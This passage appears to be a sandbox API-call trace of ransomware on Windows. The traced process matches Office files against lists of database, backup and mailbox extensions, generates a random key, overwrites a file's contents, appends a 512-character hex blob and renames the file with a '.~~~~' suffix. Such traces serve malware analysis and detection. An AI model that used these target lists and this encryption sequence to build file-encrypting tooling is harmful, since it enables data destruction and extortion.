	[0146.925] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU", lpSrch=".vhd") returned 0x0
	[0146.925] lstrlenW (lpString=".bac") returned 4
	[0146.925] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU", lpSrch=".bac") returned 0x0
	[0146.925] lstrlenW (lpString=".mdf") returned 4
	[0146.925] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU", lpSrch=".mdf") returned 0x0
	[0146.925] lstrlenW (lpString=".BAK") returned 4
	[0146.925] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU", lpSrch=".BAK") returned 0x0
	[0146.925] lstrlenW (lpString=".BAC") returned 4
	[0146.925] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU", lpSrch=".BAC") returned 0x0
	[0146.925] lstrlenW (lpString=".dbs") returned 4
	[0146.925] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU", lpSrch=".dbs") returned 0x0
	[0146.925] lstrlenW (lpString=".vhdx") returned 5
	[0146.925] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU", lpSrch=".vhdx") returned 0x0
	[0146.925] lstrlenW (lpString=".NDF") returned 4
	[0146.925] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU", lpSrch=".NDF") returned 0x0
	[0146.925] lstrlenW (lpString=".dat") returned 4
	[0146.925] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU", lpSrch=".dat") returned 0x0
	[0146.925] lstrlenW (lpString=".DBS") returned 4
	[0146.925] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU", lpSrch=".DBS") returned 0x0
	[0146.925] lstrlenW (lpString=".CKP") returned 4
	[0146.925] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU", lpSrch=".CKP") returned 0x0
	[0146.926] lstrlenW (lpString=".edb") returned 4
	[0146.926] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU", lpSrch=".edb") returned 0x0
	[0146.926] lstrlenW (lpString=".PST") returned 4
	[0146.926] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU", lpSrch=".PST") returned 0x0
	[0146.926] lstrlenW (lpString=".dbf") returned 4
	[0146.926] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU", lpSrch=".dbf") returned 0x0
	[0146.926] lstrlenW (lpString=".SQL") returned 4
	[0146.926] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU", lpSrch=".SQL") returned 0x0
	[0146.926] lstrlenW (lpString=".pst") returned 4
	[0146.926] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU", lpSrch=".pst") returned 0x0
	[0146.926] lstrlenW (lpString=".dbv") returned 4
	[0146.926] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU", lpSrch=".dbv") returned 0x0
	[0146.926] lstrlenW (lpString=".SDF") returned 4
	[0146.926] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU", lpSrch=".SDF") returned 0x0
	[0146.926] lstrlenW (lpString=".dtxs") returned 5
	[0146.926] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU", lpSrch=".dtxs") returned 0x0
	[0146.926] lstrlenW (lpString=".db3") returned 4
	[0146.926] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU", lpSrch=".db3") returned 0x0
	[0146.926] lstrlenW (lpString=".OST") returned 4
	[0146.926] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU", lpSrch=".OST") returned 0x0
	[0146.926] lstrlenW (lpString=".dbx") returned 4
	[0146.926] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU", lpSrch=".dbx") returned 0x0
	[0146.926] lstrlenW (lpString=".DB3") returned 4
	[0146.926] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU", lpSrch=".DB3") returned 0x0
	[0146.927] lstrlenW (lpString=".DAT") returned 4
	[0146.927] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU", lpSrch=".DAT") returned 0x0
	[0146.927] lstrlenW (lpString=".VHDX") returned 5
	[0146.927] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU", lpSrch=".VHDX") returned 0x0
	[0146.927] lstrlenW (lpString=".ndf") returned 4
	[0146.927] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU", lpSrch=".ndf") returned 0x0
	[0146.927] lstrlenW (lpString=".DB") returned 3
	[0146.927] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU", lpSrch=".DB") returned 0x0
	[0146.927] lstrlenW (lpString=".sql") returned 4
	[0146.927] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU", lpSrch=".sql") returned 0x0
	[0146.927] lstrlenW (lpString=".MYD") returned 4
	[0146.927] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU", lpSrch=".MYD") returned 0x0
	[0146.927] lstrlenW (lpString=".DBT") returned 4
	[0146.927] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU", lpSrch=".DBT") returned 0x0
	[0146.927] lstrlenW (lpString=".ACCDB") returned 6
	[0146.927] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU", lpSrch=".ACCDB") returned 0x0
	[0146.927] lstrlenW (lpString=".fdb") returned 4
	[0146.927] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU", lpSrch=".fdb") returned 0x0
	[0146.927] lstrlenW (lpString=".bak") returned 4
	[0146.927] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU", lpSrch=".bak") returned 0x0
	[0146.927] lstrlenW (lpString=".myd") returned 4
	[0146.927] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU", lpSrch=".myd") returned 0x0
	[0146.927] lstrlenW (lpString=".DTXS") returned 5
	[0146.927] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU", lpSrch=".DTXS") returned 0x0
	[0146.928] lstrlenW (lpString=".ckp") returned 4
	[0146.928] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU", lpSrch=".ckp") returned 0x0
	[0146.928] lstrlenW (lpString=".dbt") returned 4
	[0146.928] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU", lpSrch=".dbt") returned 0x0
	[0146.928] lstrlenW (lpString=".db") returned 3
	[0146.928] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU", lpSrch=".db") returned 0x0
	[0146.928] lstrlenW (lpString=".TXT") returned 4
	[0146.928] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU", lpSrch=".TXT") returned 0x0
	[0146.928] lstrlenW (lpString=".MDF") returned 4
	[0146.928] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU", lpSrch=".MDF") returned 0x0
	[0146.928] lstrlenW (lpString=".bdb") returned 4
	[0146.928] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU", lpSrch=".bdb") returned 0x0
	[0146.928] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0146.928] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0146.928] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0146.928] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0146.928] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x396598) returned 1
	[0146.992] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0146.992] CryptReleaseContext (hProv=0x396598, dwFlags=0x0) returned 1
	[0146.993] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0146.993] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0146.993] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0146.993] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=26698287460) returned 1
	[0146.993] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xc1061790, dwHighDateTime=0x1d60e1e)) 
	[0146.993] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0146.993] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0146.993] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0146.993] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3805b8
	[0146.993] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0146.993] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3805b8 | out: hHeap=0x300000) returned 1
	[0146.993] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0146.993] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0146.993] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28aca58
	[0146.993] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0146.993] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c7d08
	[0146.994] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28aca58 | out: hHeap=0x300000) returned 1
	[0146.994] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0146.994] GetLastError () returned 0x0
	[0146.994] GetLastError () returned 0x0
	[0146.994] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0146.994] GetLastError () returned 0x0
	[0146.994] GetLastError () returned 0x0
	[0146.994] ReadFile (in: hFile=0x104, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0147.002] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0147.002] WriteFile (in: hFile=0x104, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0147.003] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0147.003] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0147.003] WriteFile (in: hFile=0x104, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0147.004] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0147.004] WriteFile (in: hFile=0x104, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0147.004] CloseHandle (hObject=0x104) returned 1
	[0147.004] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28aca58
	[0147.005] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzusr12.accdu"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzusr12.accdu.~~~~")) returned 1
	[0147.008] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28aca58 | out: hHeap=0x300000) returned 1
	[0147.008] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0147.008] GetLastError () returned 0x0
	[0147.008] RtlWakeConditionVariable () returned 0x0
	[0147.008] GetCurrentThreadId () returned 0x3a4
	[0147.008] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL", lpSrch=".scr") returned 0x0
	[0147.008] lstrlenW (lpString=".cmd") returned 4
	[0147.008] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL", lpSrch=".cmd") returned 0x0
	[0147.008] lstrlenW (lpString=".dll") returned 4
	[0147.008] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL", lpSrch=".dll") returned 0x0
	[0147.008] lstrlenW (lpString=".bat") returned 4
	[0147.008] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL", lpSrch=".bat") returned 0x0
	[0147.008] lstrlenW (lpString=".cpl") returned 4
	[0147.008] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL", lpSrch=".cpl") returned 0x0
	[0147.008] lstrlenW (lpString=".sys") returned 4
	[0147.008] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL", lpSrch=".sys") returned 0x0
	[0147.008] lstrlenW (lpString=".msc") returned 4
	[0147.009] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL", lpSrch=".msc") returned 0x0
	[0147.009] lstrlenW (lpString=".com") returned 4
	[0147.009] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL", lpSrch=".com") returned 0x0
	[0147.009] lstrlenW (lpString=".lnk") returned 4
	[0147.009] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL", lpSrch=".lnk") returned 0x0
	[0147.009] lstrlenW (lpString=".msp") returned 4
	[0147.009] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL", lpSrch=".msp") returned 0x0
	[0147.009] lstrlenW (lpString=".pif") returned 4
	[0147.009] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL", lpSrch=".pif") returned 0x0
	[0147.009] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0147.009] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0147.009] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\acedao.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104
	[0147.136] lstrlenW (lpString=".sqb") returned 4
	[0147.136] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL", lpSrch=".sqb") returned 0x0
	[0147.136] lstrlenW (lpString=".ost") returned 4
	[0147.136] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL", lpSrch=".ost") returned 0x0
	[0147.136] lstrlenW (lpString=".txt") returned 4
	[0147.136] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL", lpSrch=".txt") returned 0x0
	[0147.136] lstrlenW (lpString=".mdt") returned 4
	[0147.136] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL", lpSrch=".mdt") returned 0x0
	[0147.136] lstrlenW (lpString=".BDB") returned 4
	[0147.136] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL", lpSrch=".BDB") returned 0x0
	[0147.136] lstrlenW (lpString=".eql") returned 4
	[0147.136] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL", lpSrch=".eql") returned 0x0
	[0147.136] lstrlenW (lpString=".DBF") returned 4
	[0147.136] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL", lpSrch=".DBF") returned 0x0
	[0147.137] lstrlenW (lpString=".EQL") returned 4
	[0147.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL", lpSrch=".EQL") returned 0x0
	[0147.137] lstrlenW (lpString=".FDB") returned 4
	[0147.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL", lpSrch=".FDB") returned 0x0
	[0147.137] lstrlenW (lpString=".EDB") returned 4
	[0147.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL", lpSrch=".EDB") returned 0x0
	[0147.137] lstrlenW (lpString=".DACPAC") returned 7
	[0147.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL", lpSrch=".DACPAC") returned 0x0
	[0147.137] lstrlenW (lpString=".VHD") returned 4
	[0147.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL", lpSrch=".VHD") returned 0x0
	[0147.137] lstrlenW (lpString=".DBV") returned 4
	[0147.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL", lpSrch=".DBV") returned 0x0
	[0147.137] lstrlenW (lpString=".dacpac") returned 7
	[0147.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL", lpSrch=".dacpac") returned 0x0
	[0147.137] lstrlenW (lpString=".sdf") returned 4
	[0147.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL", lpSrch=".sdf") returned 0x0
	[0147.137] lstrlenW (lpString=".accdb") returned 6
	[0147.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL", lpSrch=".accdb") returned 0x0
	[0147.137] lstrlenW (lpString=".DBX") returned 4
	[0147.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL", lpSrch=".DBX") returned 0x0
	[0147.137] lstrlenW (lpString=".MDT") returned 4
	[0147.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL", lpSrch=".MDT") returned 0x0
	[0147.137] lstrlenW (lpString=".SQB") returned 4
	[0147.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL", lpSrch=".SQB") returned 0x0
	[0147.137] lstrlenW (lpString=".vhd") returned 4
	[0147.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL", lpSrch=".vhd") returned 0x0
	[0147.137] lstrlenW (lpString=".bac") returned 4
	[0147.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL", lpSrch=".bac") returned 0x0
	[0147.138] lstrlenW (lpString=".mdf") returned 4
	[0147.138] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL", lpSrch=".mdf") returned 0x0
	[0147.138] lstrlenW (lpString=".BAK") returned 4
	[0147.138] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL", lpSrch=".BAK") returned 0x0
	[0147.138] lstrlenW (lpString=".BAC") returned 4
	[0147.138] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL", lpSrch=".BAC") returned 0x0
	[0147.138] lstrlenW (lpString=".dbs") returned 4
	[0147.138] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL", lpSrch=".dbs") returned 0x0
	[0147.138] lstrlenW (lpString=".vhdx") returned 5
	[0147.138] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL", lpSrch=".vhdx") returned 0x0
	[0147.138] lstrlenW (lpString=".NDF") returned 4
	[0147.138] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL", lpSrch=".NDF") returned 0x0
	[0147.138] lstrlenW (lpString=".dat") returned 4
	[0147.138] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL", lpSrch=".dat") returned 0x0
	[0147.138] lstrlenW (lpString=".DBS") returned 4
	[0147.138] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL", lpSrch=".DBS") returned 0x0
	[0147.138] lstrlenW (lpString=".CKP") returned 4
	[0147.138] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL", lpSrch=".CKP") returned 0x0
	[0147.138] lstrlenW (lpString=".edb") returned 4
	[0147.138] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL", lpSrch=".edb") returned 0x0
	[0147.138] lstrlenW (lpString=".PST") returned 4
	[0147.138] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL", lpSrch=".PST") returned 0x0
	[0147.138] lstrlenW (lpString=".dbf") returned 4
	[0147.138] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL", lpSrch=".dbf") returned 0x0
	[0147.138] lstrlenW (lpString=".SQL") returned 4
	[0147.138] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL", lpSrch=".SQL") returned 0x0
	[0147.139] lstrlenW (lpString=".pst") returned 4
	[0147.139] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL", lpSrch=".pst") returned 0x0
	[0147.139] lstrlenW (lpString=".dbv") returned 4
	[0147.139] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL", lpSrch=".dbv") returned 0x0
	[0147.139] lstrlenW (lpString=".SDF") returned 4
	[0147.139] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL", lpSrch=".SDF") returned 0x0
	[0147.139] lstrlenW (lpString=".dtxs") returned 5
	[0147.139] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL", lpSrch=".dtxs") returned 0x0
	[0147.139] lstrlenW (lpString=".db3") returned 4
	[0147.139] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL", lpSrch=".db3") returned 0x0
	[0147.139] lstrlenW (lpString=".OST") returned 4
	[0147.139] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL", lpSrch=".OST") returned 0x0
	[0147.139] lstrlenW (lpString=".dbx") returned 4
	[0147.139] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL", lpSrch=".dbx") returned 0x0
	[0147.139] lstrlenW (lpString=".DB3") returned 4
	[0147.139] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL", lpSrch=".DB3") returned 0x0
	[0147.139] lstrlenW (lpString=".DAT") returned 4
	[0147.139] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL", lpSrch=".DAT") returned 0x0
	[0147.139] lstrlenW (lpString=".VHDX") returned 5
	[0147.139] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL", lpSrch=".VHDX") returned 0x0
	[0147.139] lstrlenW (lpString=".ndf") returned 4
	[0147.139] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL", lpSrch=".ndf") returned 0x0
	[0147.139] lstrlenW (lpString=".DB") returned 3
	[0147.139] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL", lpSrch=".DB") returned 0x0
	[0147.139] lstrlenW (lpString=".sql") returned 4
	[0147.140] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL", lpSrch=".sql") returned 0x0
	[0147.140] lstrlenW (lpString=".MYD") returned 4
